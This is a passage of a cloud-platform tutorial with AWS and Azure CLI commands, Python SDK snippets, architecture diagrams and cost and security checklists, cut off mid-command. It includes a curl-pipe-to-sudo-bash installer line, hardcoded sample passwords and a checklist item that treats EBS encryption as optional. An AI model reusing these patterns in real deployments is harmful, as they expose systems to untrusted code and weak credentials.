  --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/arn:aws:lambda:region:account-id:function:my-function/invocations

# Deploy API
aws apigateway create-deployment \
  --rest-api-id abc123 \
  --stage-name prod

# API URL format:
# https://abc123.execute-api.region.amazonaws.com/prod/items

# Enable API key
aws apigateway create-api-key \
  --name "My API Key" \
  --enabled

# Create usage plan
aws apigateway create-usage-plan \
  --name "Basic Plan" \
  --throttle burstLimit=100,rateLimit=50 \
  --quota limit=10000,period=MONTH

# Associate API key with usage plan
aws apigateway create-usage-plan-key \
  --usage-plan-id def456 \
  --key-id ghi789 \
  --key-type API_KEY

┌─────────────────────────────────────────────────┐
│              ECS Cluster                         │
├─────────────────────────────────────────────────┤
│                                                  │
│  ┌─────────────────────────────────────────┐   │
│  │         ECS Service                      │   │
│  │  (Desired Count: 3)                      │   │
│  └──────────┬──────────────────────────────┘   │
│             │                                    │
│    ┌────────┼────────┐                          │
│    │        │        │                          │
│ ┌──▼──┐  ┌──▼──┐  ┌──▼──┐                      │
│ │Task │  │Task │  │Task │                      │
│ │  1  │  │  2  │  │  3  │                      │
│ └──┬──┘  └──┬──┘  └──┬──┘                      │
│    │        │        │                          │
│ ┌──▼───────▼────────▼───┐                      │
│ │    Container(s)        │                      │
│ │  ┌────────────────┐   │                      │
│ │  │  nginx:latest  │   │                      │
│ │  └────────────────┘   │                      │
│ └────────────────────────┘                      │
│                                                  │
│  Launch Type: EC2 or Fargate                    │
└─────────────────────────────────────────────────┘

{
  "family": "web-app",
  "networkMode": "awsvpc",
  "requiresCompatibilities": ["FARGATE"],
  "cpu": "256",
  "memory": "512",
  "executionRoleArn": "arn:aws:iam::123456789012:role/ecsTaskExecutionRole",
  "containerDefinitions": [
    {
      "name": "nginx",
      "image": "nginx:latest",
      "portMappings": [
        {
          "containerPort": 80,
          "protocol": "tcp"
        }
      ],
      "essential": true,
      "environment": [
        {
          "name": "ENV",
          "value": "production"
        }
      ],
      "logConfiguration": {
        "logDriver": "awslogs",
        "options": {
          "awslogs-group": "/ecs/web-app",
          "awslogs-region": "us-east-1",
          "awslogs-stream-prefix": "nginx"
        }
      }
    }
  ]
}

# Create cluster (Fargate)
aws ecs create-cluster --cluster-name my-cluster

# Register task definition
aws ecs register-task-definition --cli-input-json file://task-definition.json

# Create service
aws ecs create-service \
  --cluster my-cluster \
  --service-name web-service \
  --task-definition web-app:1 \
  --desired-count 3 \
  --launch-type FARGATE \
  --network-configuration "awsvpcConfiguration={subnets=[subnet-12345,subnet-67890],securityGroups=[sg-12345],assignPublicIp=ENABLED}" \
  --load-balancers "targetGroupArn=arn:aws:elasticloadbalancing:region:account-id:targetgroup/my-targets/73e2d6bc24d8a067,containerName=nginx,containerPort=80"

# List services
aws ecs list-services --cluster my-cluster

# Describe service
aws ecs describe-services \
  --cluster my-cluster \
  --services web-service

# Update service (e.g., change desired count)
aws ecs update-service \
  --cluster my-cluster \
  --service web-service \
  --desired-count 5

# Run standalone task
aws ecs run-task \
  --cluster my-cluster \
  --task-definition web-app:1 \
  --launch-type FARGATE \
  --network-configuration "awsvpcConfiguration={subnets=[subnet-12345],securityGroups=[sg-12345],assignPublicIp=ENABLED}"

# View logs
aws logs tail /ecs/web-app --follow

# Stop task
aws ecs stop-task \
  --cluster my-cluster \
  --task arn:aws:ecs:region:account-id:task/my-cluster/abc123

# Delete service
aws ecs delete-service \
  --cluster my-cluster \
  --service web-service \
  --force

# Delete cluster
aws ecs delete-cluster --cluster my-cluster

# Create EKS cluster (using eksctl - easier)
eksctl create cluster \
  --name my-cluster \
  --region us-east-1 \
  --nodegroup-name standard-workers \
  --node-type t3.medium \
  --nodes 3 \
  --nodes-min 1 \
  --nodes-max 4 \
  --managed

# Or using AWS CLI (more complex)
aws eks create-cluster \
  --name my-cluster \
  --role-arn arn:aws:iam::123456789012:role/eks-service-role \
  --resources-vpc-config subnetIds=subnet-12345,subnet-67890,securityGroupIds=sg-12345

# Update kubeconfig
aws eks update-kubeconfig --name my-cluster --region us-east-1

# Verify connection
kubectl get nodes

# Deploy application
kubectl apply -f deployment.yaml

# List clusters
aws eks list-clusters

# Describe cluster
aws eks describe-cluster --name my-cluster

# Delete cluster (eksctl)
eksctl delete cluster --name my-cluster

┌─────────────────────────────────────────┐
│ AWS Account                              │
├─────────────────────────────────────────┤
│                                          │
│  Users          Groups         Roles    │
│  ├─ Alice      ├─ Developers  ├─ EC2   │
│  ├─ Bob        ├─ Admins      ├─ Lambda│
│  └─ Charlie    └─ Viewers     └─ ECS   │
│                                          │
│  Policies (JSON documents)               │
│  ├─ Managed Policies (AWS/Custom)       │
│  └─ Inline Policies                     │
└─────────────────────────────────────────┘

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowS3ReadWrite",
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:PutObject",
        "s3:DeleteObject"
      ],
      "Resource": "arn:aws:s3:::my-bucket/*"
    },
    {
      "Sid": "AllowS3ListBucket",
      "Effect": "Allow",
      "Action": "s3:ListBucket",
      "Resource": "arn:aws:s3:::my-bucket"
    },
    {
      "Sid": "DenyInsecureTransport",
      "Effect": "Deny",
      "Action": "s3:*",
      "Resource": [
        "arn:aws:s3:::my-bucket",
        "arn:aws:s3:::my-bucket/*"
      ],
      "Condition": {
        "Bool": {
          "aws:SecureTransport": "false"
        }
      }
    }
  ]
}

# Create user
aws iam create-user --user-name alice

# Create access key
aws iam create-access-key --user-name alice

# Create group
aws iam create-group --group-name developers

# Add user to group
aws iam add-user-to-group \
  --user-name alice \
  --group-name developers

# Create policy
aws iam create-policy \
  --policy-name S3ReadWritePolicy \
  --policy-document file://policy.json

# Attach policy to user
aws iam attach-user-policy \
  --user-name alice \
  --policy-arn arn:aws:iam::123456789012:policy/S3ReadWritePolicy

# Attach policy to group
aws iam attach-group-policy \
  --group-name developers \
  --policy-arn arn:aws:iam::aws:policy/PowerUserAccess

# Create role (for EC2)
aws iam create-role \
  --role-name EC2-S3-Role \
  --assume-role-policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": {"Service": "ec2.amazonaws.com"},
      "Action": "sts:AssumeRole"
    }]
  }'

# Attach policy to role
aws iam attach-role-policy \
  --role-name EC2-S3-Role \
  --policy-arn arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess

# Create instance profile
aws iam create-instance-profile \
  --instance-profile-name EC2-S3-Profile

# Add role to instance profile
aws iam add-role-to-instance-profile \
  --instance-profile-name EC2-S3-Profile \
  --role-name EC2-S3-Role

# Associate instance profile with EC2
aws ec2 associate-iam-instance-profile \
  --instance-id i-1234567890abcdef0 \
  --iam-instance-profile Name=EC2-S3-Profile

# List users
aws iam list-users

# List policies attached to user
aws iam list-attached-user-policies --user-name alice

# Delete user (must remove from groups and detach policies first)
aws iam remove-user-from-group --user-name alice --group-name developers
aws iam detach-user-policy --user-name alice --policy-arn arn:aws:iam::123456789012:policy/S3ReadWritePolicy
aws iam delete-user --user-name alice

# Create secret
aws secretsmanager create-secret \
  --name prod/db/password \
  --description "Database password for production" \
  --secret-string '{"username":"admin","password":"MySecurePassword123"}'

# Get secret value
aws secretsmanager get-secret-value --secret-id prod/db/password

# Update secret
aws secretsmanager update-secret \
  --secret-id prod/db/password \
  --secret-string '{"username":"admin","password":"NewPassword456"}'

# Enable automatic rotation
aws secretsmanager rotate-secret \
  --secret-id prod/db/password \
  --rotation-lambda-arn arn:aws:lambda:region:account-id:function:my-rotation-function \
  --rotation-rules AutomaticallyAfterDays=30

# Delete secret (with recovery window)
aws secretsmanager delete-secret \
  --secret-id prod/db/password \
  --recovery-window-in-days 30

import boto3
import json

def get_secret(secret_name):
    client = boto3.client('secretsmanager')

    try:
        response = client.get_secret_value(SecretId=secret_name)
        secret = json.loads(response['SecretString'])
        return secret
    except Exception as e:
        print(f"Error retrieving secret: {e}")
        raise

def lambda_handler(event, context):
    # Get database credentials
    db_secret = get_secret('prod/db/password')

    username = db_secret['username']
    password = db_secret['password']

    # Use credentials to connect to database
    # ...

    return {'statusCode': 200}

# Create KMS key
aws kms create-key \
  --description "Application data encryption key"

# Create alias
aws kms create-alias \
  --alias-name alias/app-data-key \
  --target-key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Encrypt data
aws kms encrypt \
  --key-id alias/app-data-key \
  --plaintext "sensitive data" \
  --output text \
  --query CiphertextBlob

# Decrypt data
aws kms decrypt \
  --ciphertext-blob fileb://encrypted-data \
  --output text \
  --query Plaintext | base64 --decode

# List keys
aws kms list-keys

# Enable key rotation
aws kms enable-key-rotation --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Put custom metric
aws cloudwatch put-metric-data \
  --namespace "MyApp" \
  --metric-name "RequestCount" \
  --value 100 \
  --timestamp $(date -u +"%Y-%m-%dT%H:%M:%S")

# Get metric statistics
aws cloudwatch get-metric-statistics \
  --namespace AWS/EC2 \
  --metric-name CPUUtilization \
  --dimensions Name=InstanceId,Value=i-1234567890abcdef0 \
  --start-time $(date -u -d '1 hour ago' +"%Y-%m-%dT%H:%M:%S") \
  --end-time $(date -u +"%Y-%m-%dT%H:%M:%S") \
  --period 300 \
  --statistics Average

# Create alarm
aws cloudwatch put-metric-alarm \
  --alarm-name high-cpu \
  --alarm-description "Alert when CPU exceeds 80%" \
  --metric-name CPUUtilization \
  --namespace AWS/EC2 \
  --statistic Average \
  --period 300 \
  --evaluation-periods 2 \
  --threshold 80 \
  --comparison-operator GreaterThanThreshold \
  --dimensions Name=InstanceId,Value=i-1234567890abcdef0 \
  --alarm-actions arn:aws:sns:region:account-id:my-topic

# List alarms
aws cloudwatch describe-alarms

# Delete alarm
aws cloudwatch delete-alarms --alarm-names high-cpu

# Create log group
aws logs create-log-group --log-group-name /aws/lambda/my-function

# Create log stream
aws logs create-log-stream \
  --log-group-name /aws/lambda/my-function \
  --log-stream-name 2024/01/01/instance-123

# Put log events
aws logs put-log-events \
  --log-group-name /aws/lambda/my-function \
  --log-stream-name 2024/01/01/instance-123 \
  --log-events timestamp=$(date +%s000),message="Application started"

# Tail logs
aws logs tail /aws/lambda/my-function --follow

# Filter logs
aws logs filter-log-events \
  --log-group-name /aws/lambda/my-function \
  --filter-pattern "ERROR" \
  --start-time $(date -d '1 hour ago' +%s)000

# Create metric filter
aws logs put-metric-filter \
  --log-group-name /aws/lambda/my-function \
  --filter-name ErrorCount \
  --filter-pattern "[ERROR]" \
  --metric-transformations \
    metricName=ErrorCount,metricNamespace=MyApp,metricValue=1

# Export logs to S3
aws logs create-export-task \
  --log-group-name /aws/lambda/my-function \
  --from $(date -d '1 day ago' +%s)000 \
  --to $(date +%s)000 \
  --destination my-logs-bucket \
  --destination-prefix lambda-logs/

# Set retention policy
aws logs put-retention-policy \
  --log-group-name /aws/lambda/my-function \
  --retention-in-days 30

# Delete log group
aws logs delete-log-group --log-group-name /aws/lambda/my-function

# Create trail
aws cloudtrail create-trail \
  --name my-trail \
  --s3-bucket-name my-cloudtrail-bucket

# Start logging
aws cloudtrail start-logging --name my-trail

# Lookup events
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=RunInstances \
  --max-results 10

# Get trail status
aws cloudtrail get-trail-status --name my-trail

# Stop logging
aws cloudtrail stop-logging --name my-trail

# Delete trail
aws cloudtrail delete-trail --name my-trail

# Create repository
aws codecommit create-repository \
  --repository-name my-repo \
  --repository-description "My application code"

# Clone repository
git clone https://git-codecommit.us-east-1.amazonaws.com/v1/repos/my-repo

# Or with SSH
git clone ssh://git-codecommit.us-east-1.amazonaws.com/v1/repos/my-repo

# List repositories
aws codecommit list-repositories

# Get repository details
aws codecommit get-repository --repository-name my-repo

# Delete repository
aws codecommit delete-repository --repository-name my-repo

version: 0.2

phases:
  install:
    runtime-versions:
      python: 3.11
    commands:
      - echo "Installing dependencies..."
      - pip install -r requirements.txt

  pre_build:
    commands:
      - echo "Running tests..."
      - pytest tests/
      - echo "Logging in to Amazon ECR..."
      - aws ecr get-login-password --region $AWS_DEFAULT_REGION | docker login --username AWS --password-stdin $AWS_ACCOUNT_ID.dkr.ecr.$AWS_DEFAULT_REGION.amazonaws.com

  build:
    commands:
      - echo "Building Docker image..."
      - docker build -t $IMAGE_REPO_NAME:$IMAGE_TAG .
      - docker tag $IMAGE_REPO_NAME:$IMAGE_TAG $AWS_ACCOUNT_ID.dkr.ecr.$AWS_DEFAULT_REGION.amazonaws.com/$IMAGE_REPO_NAME:$IMAGE_TAG

  post_build:
    commands:
      - echo "Pushing Docker image..."
      - docker push $AWS_ACCOUNT_ID.dkr.ecr.$AWS_DEFAULT_REGION.amazonaws.com/$IMAGE_REPO_NAME:$IMAGE_TAG
      - echo "Build completed on `date`"

artifacts:
  files:
    - '**/*'
  name: build-output

cache:
  paths:
    - '/root/.cache/pip/**/*'

# Create build project
aws codebuild create-project \
  --name my-build-project \
  --source type=CODECOMMIT,location=https://git-codecommit.us-east-1.amazonaws.com/v1/repos/my-repo \
  --artifacts type=S3,location=my-build-artifacts-bucket \
  --environment type=LINUX_CONTAINER,image=aws/codebuild/standard:5.0,computeType=BUILD_GENERAL1_SMALL \
  --service-role arn:aws:iam::123456789012:role/codebuild-service-role

# Start build
aws codebuild start-build --project-name my-build-project

# Get build details
aws codebuild batch-get-builds --ids my-build-project:build-id

# Create application
aws deploy create-application \
  --application-name my-app \
  --compute-platform Server

# Create deployment group
aws deploy create-deployment-group \
  --application-name my-app \
  --deployment-group-name production \
  --deployment-config-name CodeDeployDefault.OneAtATime \
  --ec2-tag-filters Key=Environment,Value=Production,Type=KEY_AND_VALUE \
  --service-role-arn arn:aws:iam::123456789012:role/CodeDeployServiceRole

# Create deployment
aws deploy create-deployment \
  --application-name my-app \
  --deployment-group-name production \
  --s3-location bucket=my-deployments-bucket,key=app-v1.0.zip,bundleType=zip

# Get deployment status
aws deploy get-deployment --deployment-id d-ABCDEF123

┌──────────────┐    ┌──────────────┐    ┌──────────────┐    ┌──────────────┐
│   Source     │───▶│    Build     │───▶│     Test     │───▶│    Deploy    │
│ (CodeCommit) │    │ (CodeBuild)  │    │ (CodeBuild)  │    │ (CodeDeploy) │
└──────────────┘    └──────────────┘    └──────────────┘    └──────────────┘

# Create pipeline
aws codepipeline create-pipeline --cli-input-json file://pipeline.json

# Get pipeline details
aws codepipeline get-pipeline --name my-pipeline

# Start pipeline execution
aws codepipeline start-pipeline-execution --name my-pipeline

# Get pipeline state
aws codepipeline get-pipeline-state --name my-pipeline

import boto3
import sagemaker
from sagemaker import get_execution_role
from sagemaker.sklearn import SKLearn

# Set up
role = get_execution_role()
session = sagemaker.Session()
bucket = session.default_bucket()

# Train model
sklearn_estimator = SKLearn(
    entry_point='train.py',
    role=role,
    instance_type='ml.m5.xlarge',
    framework_version='0.23-1',
    hyperparameters={
        'n_estimators': 100,
        'max_depth': 5
    }
)

sklearn_estimator.fit({'train': 's3://bucket/train-data'})

# Deploy model
predictor = sklearn_estimator.deploy(
    initial_instance_count=1,
    instance_type='ml.t2.medium'
)

# Make predictions
result = predictor.predict(data)

import boto3

rekognition = boto3.client('rekognition')

# Detect labels in image
response = rekognition.detect_labels(
    Image={'S3Object': {'Bucket': 'my-bucket', 'Name': 'image.jpg'}},
    MaxLabels=10,
    MinConfidence=75
)

for label in response['Labels']:
    print(f"{label['Name']}: {label['Confidence']:.2f}%")

# Detect faces
response = rekognition.detect_faces(
    Image={'S3Object': {'Bucket': 'my-bucket', 'Name': 'face.jpg'}},
    Attributes=['ALL']
)

# Compare faces
response = rekognition.compare_faces(
    SourceImage={'S3Object': {'Bucket': 'my-bucket', 'Name': 'source.jpg'}},
    TargetImage={'S3Object': {'Bucket': 'my-bucket', 'Name': 'target.jpg'}},
    SimilarityThreshold=80
)

import boto3

comprehend = boto3.client('comprehend')

text = "Amazon Web Services is a great cloud platform."

# Detect sentiment
sentiment = comprehend.detect_sentiment(Text=text, LanguageCode='en')
print(f"Sentiment: {sentiment['Sentiment']}")

# Detect entities
entities = comprehend.detect_entities(Text=text, LanguageCode='en')
for entity in entities['Entities']:
    print(f"{entity['Text']}: {entity['Type']}")

# Detect key phrases
phrases = comprehend.detect_key_phrases(Text=text, LanguageCode='en')
for phrase in phrases['KeyPhrases']:
    print(phrase['Text'])

                         Internet
                             │
                    ┌────────▼────────┐
                    │   CloudFront    │  CDN
                    │   (Optional)    │
                    └────────┬────────┘
                             │
                    ┌────────▼────────┐
                    │  Route 53       │  DNS
                    └────────┬────────┘
                             │
┌────────────────────────────▼────────────────────────────────┐
│                          VPC                                 │
│                                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  Public Subnet (AZ-A)    Public Subnet (AZ-B)        │  │
│  │  ┌─────────────────┐     ┌─────────────────┐         │  │
│  │  │  Application    │     │  Application    │         │  │
│  │  │  Load Balancer  │     │  Load Balancer  │         │  │
│  │  └────────┬────────┘     └────────┬────────┘         │  │
│  └───────────┼──────────────────────┼───────────────────┘  │
│              │                      │                       │
│  ┌───────────▼──────────────────────▼───────────────────┐  │
│  │  Private Subnet (AZ-A)   Private Subnet (AZ-B)       │  │
│  │  ┌─────────────┐          ┌─────────────┐            │  │
│  │  │ Auto Scaling│          │ Auto Scaling│            │  │
│  │  │   Group     │          │   Group     │            │  │
│  │  │  ┌───┐ ┌───┐          │  ┌───┐ ┌───┐            │  │
│  │  │  │EC2│ │EC2│          │  │EC2│ │EC2│            │  │
│  │  │  └─┬─┘ └─┬─┘          │  └─┬─┘ └─┬─┘            │  │
│  │  └────┼─────┼────────────┘────┼─────┼──────────────┘  │
│  │       │     │                 │     │                  │
│  │  ┌────▼─────▼─────────────────▼─────▼──────────────┐  │
│  │  │  Database Subnet (AZ-A)   Database Subnet (AZ-B)│  │
│  │  │  ┌──────────────┐          ┌──────────────┐     │  │
│  │  │  │ RDS Primary  │◄────────▶│ RDS Standby  │     │  │
│  │  │  └──────────────┘          └──────────────┘     │  │
│  │  │                                                  │  │
│  │  │  ┌──────────────┐                               │  │
│  │  │  │ ElastiCache  │                               │  │
│  │  │  └──────────────┘                               │  │
│  │  └──────────────────────────────────────────────────┘  │
│  │                                                          │
│  │  Additional Services:                                   │
│  │  ├─ S3: Static assets                                   │
│  │  ├─ CloudWatch: Monitoring                              │
│  │  ├─ CloudTrail: Audit logs                              │
│  │  └─ WAF: Web application firewall                       │
└──────────────────────────────────────────────────────────────┘

                        ┌─────────────┐
                        │   Users     │
                        └──────┬──────┘
                               │
                      ┌────────▼────────┐
                      │  CloudFront +   │
                      │  S3 (Frontend)  │
                      └────────┬────────┘
                               │
                      ┌────────▼────────┐
                      │  API Gateway    │
                      └────────┬────────┘
                               │
        ┌──────────────────────┼──────────────────────┐
        │                      │                      │
   ┌────▼─────┐          ┌────▼─────┐          ┌────▼─────┐
   │ Lambda   │          │ Lambda   │          │ Lambda   │
   │ User Svc │          │ Order Svc│          │ Pay Svc  │
   └────┬─────┘          └────┬─────┘          └────┬─────┘
        │                     │                     │
   ┌────▼─────┐          ┌────▼─────┐          ┌────▼─────┐
   │DynamoDB  │          │DynamoDB  │          │DynamoDB  │
   │Users     │          │Orders    │          │Payments  │
   └──────────┘          └──────────┘          └──────────┘
        │                     │                     │
        └─────────────────────┼─────────────────────┘
                              │
                       ┌──────▼──────┐
                       │  EventBridge│
                       │     SNS     │
                       └─────────────┘

┌──────────────────────────────────────────────────────────┐
│ AWS Cost Optimization Checklist                          │
├──────────────────────────────────────────────────────────┤
│                                                           │
│ Compute                                                   │
│ ☐ Use Reserved Instances for steady workloads            │
│ ☐ Use Spot Instances for fault-tolerant workloads        │
│ ☐ Right-size instances based on metrics                  │
│ ☐ Use Savings Plans for flexible commitments             │
│ ☐ Stop development/test instances off-hours              │
│ ☐ Use Lambda/Fargate for serverless workloads            │
│ ☐ Enable EC2 Auto Scaling                                │
│                                                           │
│ Storage                                                   │
│ ☐ Use S3 Lifecycle policies                              │
│ ☐ Move infrequent data to S3-IA or Glacier               │
│ ☐ Delete unattached EBS volumes                          │
│ ☐ Delete old snapshots                                   │
│ ☐ Use S3 Intelligent-Tiering                             │
│ ☐ Enable EBS volume encryption only when needed          │
│                                                           │
│ Database                                                  │
│ ☐ Use Aurora Serverless for variable workloads           │
│ ☐ Stop RDS instances when not in use                     │
│ ☐ Use DynamoDB On-Demand for unpredictable traffic       │
│ ☐ Use read replicas efficiently                          │
│ ☐ Right-size RDS instances                               │
│                                                           │
│ Network                                                   │
│ ☐ Use CloudFront to reduce data transfer costs           │
│ ☐ Use VPC endpoints to avoid NAT Gateway costs           │
│ ☐ Consolidate data transfer within same region           │
│ ☐ Use Direct Connect for high volume transfers           │
│                                                           │
│ Monitoring                                                │
│ ☐ Set up AWS Budgets with alerts                         │
│ ☐ Use Cost Explorer to analyze spending                  │
│ ☐ Enable Cost Allocation Tags                            │
│ ☐ Use Trusted Advisor cost optimization checks           │
│ ☐ Review AWS Cost Anomaly Detection                      │
└──────────────────────────────────────────────────────────┘

# Set up budget
aws budgets create-budget \
  --account-id 123456789012 \
  --budget '{
    "BudgetName": "Monthly-Budget",
    "BudgetLimit": {
      "Amount": "1000",
      "Unit": "USD"
    },
    "TimeUnit": "MONTHLY",
    "BudgetType": "COST"
  }' \
  --notifications-with-subscribers '[{
    "Notification": {
      "NotificationType": "ACTUAL",
      "ComparisonOperator": "GREATER_THAN",
      "Threshold": 80,
      "ThresholdType": "PERCENTAGE"
    },
    "Subscribers": [{
      "SubscriptionType": "EMAIL",
      "Address": "email@example.com"
    }]
  }]'

# Get cost and usage
aws ce get-cost-and-usage \
  --time-period Start=2024-01-01,End=2024-01-31 \
  --granularity DAILY \
  --metrics BlendedCost

# Get cost forecast
aws ce get-cost-forecast \
  --time-period Start=2024-02-01,End=2024-02-29 \
  --metric BLENDED_COST \
  --granularity MONTHLY

1. Identity and Access
   ├─ Enable MFA for all users
   ├─ Use IAM roles instead of access keys
   ├─ Implement least privilege principle
   ├─ Rotate credentials regularly
   └─ Use AWS SSO for centralized access

2. Network Security
   ├─ Use VPC with public/private subnets
   ├─ Implement security groups properly
   ├─ Use Network ACLs as additional layer
   ├─ Enable VPC Flow Logs
   └─ Use AWS WAF for web applications

3. Data Protection
   ├─ Enable encryption at rest
   ├─ Use TLS/SSL for data in transit
   ├─ Regular backups and snapshots
   ├─ Enable versioning on S3
   └─ Use KMS for key management

4. Monitoring and Logging
   ├─ Enable CloudTrail for all regions
   ├─ Use CloudWatch for monitoring
   ├─ Set up security alerts
   ├─ Regular security audits
   └─ Use AWS Config for compliance

5. Incident Response
   ├─ Have incident response plan
   ├─ Use AWS Systems Manager
   ├─ Enable automated responses
   └─ Regular disaster recovery drills

1. Compute
   ├─ Choose appropriate instance types
   ├─ Use Auto Scaling
   ├─ Implement load balancing
   ├─ Consider serverless for variable workloads
   └─ Use placement groups for HPC

2. Storage
   ├─ Use EBS-optimized instances
   ├─ Choose correct EBS volume type
   ├─ Use S3 Transfer Acceleration
   ├─ Implement caching (CloudFront, ElastiCache)
   └─ Use S3 multipart upload

3. Database
   ├─ Use read replicas for read-heavy workloads
   ├─ Enable query caching
   ├─ Use connection pooling
   ├─ Implement proper indexing
   └─ Consider Aurora for better performance

4. Network
   ├─ Use CloudFront CDN
   ├─ Enable enhanced networking
   ├─ Use VPC endpoints
   ├─ Implement Route 53 routing policies
   └─ Consider Direct Connect

1. High Availability
   ├─ Deploy across multiple AZs
   ├─ Use Multi-AZ for databases
   ├─ Implement auto-scaling
   ├─ Use Elastic Load Balancing
   └─ Consider multi-region for critical workloads

2. Backup and Recovery
   ├─ Automated backups for RDS
   ├─ Regular EBS snapshots
   ├─ Enable S3 versioning
   ├─ Cross-region replication
   └─ Test recovery procedures

3. Monitoring
   ├─ Set up CloudWatch alarms
   ├─ Use health checks
   ├─ Monitor key metrics
   ├─ Implement automated responses
   └─ Use AWS X-Ray for tracing

4. Testing
   ├─ Regular load testing
   ├─ Chaos engineering
   ├─ Failover testing
   └─ Disaster recovery drills

# Use --query for filtering output
aws ec2 describe-instances \
  --query 'Reservations[].Instances[].[InstanceId,State.Name]' \
  --output table

# Use --filters for filtering resources
aws ec2 describe-instances \
  --filters "Name=instance-state-name,Values=running" \
           "Name=tag:Environment,Values=production"

# Use --output for different formats
aws ec2 describe-instances --output json
aws ec2 describe-instances --output yaml
aws ec2 describe-instances --output table
aws ec2 describe-instances --output text

# Use JMESPath for complex queries
aws ec2 describe-instances \
  --query 'Reservations[].Instances[?State.Name==`running`].[InstanceId,PrivateIpAddress]'

# Paginate results
aws s3api list-objects-v2 \
  --bucket my-bucket \
  --max-items 100 \
  --page-size 10

# Wait for resource to be ready
aws ec2 wait instance-running --instance-ids i-1234567890abcdef0

# Generate skeleton for complex commands
aws ec2 run-instances --generate-cli-skeleton > template.json
# Edit template.json
aws ec2 run-instances --cli-input-json file://template.json

# Add to ~/.bashrc or ~/.zshrc

alias ec2-list='aws ec2 describe-instances --query "Reservations[].Instances[].[InstanceId,InstanceType,State.Name,PublicIpAddress,Tags[?Key=='\''Name'\''].Value|[0]]" --output table'

alias ec2-running='aws ec2 describe-instances --filters "Name=instance-state-name,Values=running" --query "Reservations[].Instances[].[InstanceId,InstanceType,PublicIpAddress]" --output table'

alias s3-buckets='aws s3 ls'

alias lambda-list='aws lambda list-functions --query "Functions[].[FunctionName,Runtime,LastModified]" --output table'

alias rds-list='aws rds describe-db-instances --query "DBInstances[].[DBInstanceIdentifier,DBInstanceStatus,Engine,DBInstanceClass]" --output table'

Foundational
    │
    └─ AWS Certified Cloud Practitioner
        │
        ├─ Associate Level
        │   ├─ Solutions Architect Associate
        │   ├─ Developer Associate
        │   └─ SysOps Administrator Associate
        │
        └─ Professional Level
            ├─ Solutions Architect Professional
            └─ DevOps Engineer Professional

        Specialty (Optional)
        ├─ Security Specialty
        ├─ Machine Learning Specialty
        ├─ Advanced Networking Specialty
        ├─ Database Specialty
        └─ Data Analytics Specialty

┌─────────────────────────────────────────────────┐
│        Azure Entra ID (Azure AD) Tenant          │
│        (Organization-wide identity)              │
└──────────────────┬──────────────────────────────┘
                   │
         ┌─────────▼─────────┐
         │  Management Groups │
         └─────────┬──────────┘
                   │
         ┌─────────▼─────────┐
         │   Subscriptions    │
         │  ├─ Production     │
         │  ├─ Development    │
         │  └─ Testing        │
         └─────────┬──────────┘
                   │
         ┌─────────▼─────────┐
         │  Resource Groups   │
         │  ├─ RG-Web         │
         │  ├─ RG-Database    │
         │  └─ RG-Network     │
         └─────────┬──────────┘
                   │
         ┌─────────▼─────────┐
         │     Resources      │
         │  ├─ VMs            │
         │  ├─ Storage        │
         │  └─ Databases      │
         └────────────────────┘

Geography (e.g., United States)
  └─ Region (e.g., East US, West US)
      └─ Availability Zones (3 per region)
          └─ Data Centers
              └─ Edge Locations (Azure Front Door)

Factor              Consideration
────────────────────────────────────────────────
Latency             Distance to users
Compliance          Data residency requirements
Services            Service availability varies
Cost                Pricing differs by region
Paired Region       Consider DR requirements

# Install Azure CLI (Linux)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Install Azure CLI (macOS)
brew update && brew install azure-cli

# Install Azure CLI (Windows - PowerShell)
Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows -OutFile .\AzureCLI.msi
Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'

# Verify installation
az --version

# Login to Azure
az login

# Login with specific tenant
az login --tenant TENANT_ID

# Login with service principal
az login --service-principal \
  --username APP_ID \
  --password PASSWORD \
  --tenant TENANT_ID

# Set default subscription
az account set --subscription "My Subscription"

# List subscriptions
az account list --output table

# Show current subscription
az account show

# Install Azure PowerShell
Install-Module -Name Az -Repository PSGallery -Force

# Connect to Azure
Connect-AzAccount

# Set subscription
Set-AzContext -SubscriptionId "subscription-id"

# List subscriptions
Get-AzSubscription

# List resource groups
Get-AzResourceGroup

# Get help
az help
az vm help

# List all resource groups
az group list --output table

# List all resources
az resource list --output table

# List available locations
az account list-locations --output table

# List available VM sizes
az vm list-sizes --location eastus --output table

# Interactive mode
az interactive

Series      vCPU    Memory    Use Case                      AWS Equivalent
────────────────────────────────────────────────────────────────────────────
B-Series    1-20    0.5-80GB  Burstable, dev/test          t3
D-Series    2-96    8-384GB   General purpose              m5
F-Series    2-72    4-144GB   Compute optimized            c5
E-Series    2-96    16-672GB  Memory optimized             r5
M-Series    128-416 2-12TB    Largest memory               x1e
N-Series    6-24    112-448GB GPU instances                p3/g4

Model                   Discount    Commitment    Use Case
───────────────────────────────────────────────────────────────
Pay-as-you-go          Baseline    None          Short-term
Reserved Instances     Up to 72%   1-3 years     Steady state
Spot VMs               Up to 90%   None          Fault-tolerant
Azure Hybrid Benefit   Up to 85%   None          Existing licenses

# Create resource group
az group create \
  --name myResourceGroup \
  --location eastus

# List available VM images
az vm image list --output table
az vm image list --publisher MicrosoftWindowsServer --output table

# Create Linux VM
az vm create \
  --resource-group myResourceGroup \
  --name myVM \
  --image Ubuntu2204 \
  --size Standard_B2s \
  --admin-username azureuser \
  --generate-ssh-keys \
  --public-ip-sku Standard \
  --tags Environment=Production Owner=IT

# Create Windows VM
az vm create \
  --resource-group myResourceGroup \
  --name myWindowsVM \
  --image Win2022Datacenter \
  --size Standard_D2s_v3 \
  --admin-username azureuser \
  --admin-password 'SecurePassword123!'

# List VMs
az vm list --output table

# Get VM details
az vm show \
  --resource-group myResourceGroup \
  --name myVM \
  --show-details

# Start VM
az vm start \
  --resource-group myResourceGroup \
  --name myVM

# Stop VM (deallocate to stop billing)
az vm deallocate \
  --resource-group myResourceGroup \
  --name myVM

# Restart VM
az vm restart \
  --resource-group myResourceGroup \
  --name myVM

# Resize VM
az vm resize \
  --resource-group myResourceGroup \
  --name myVM \
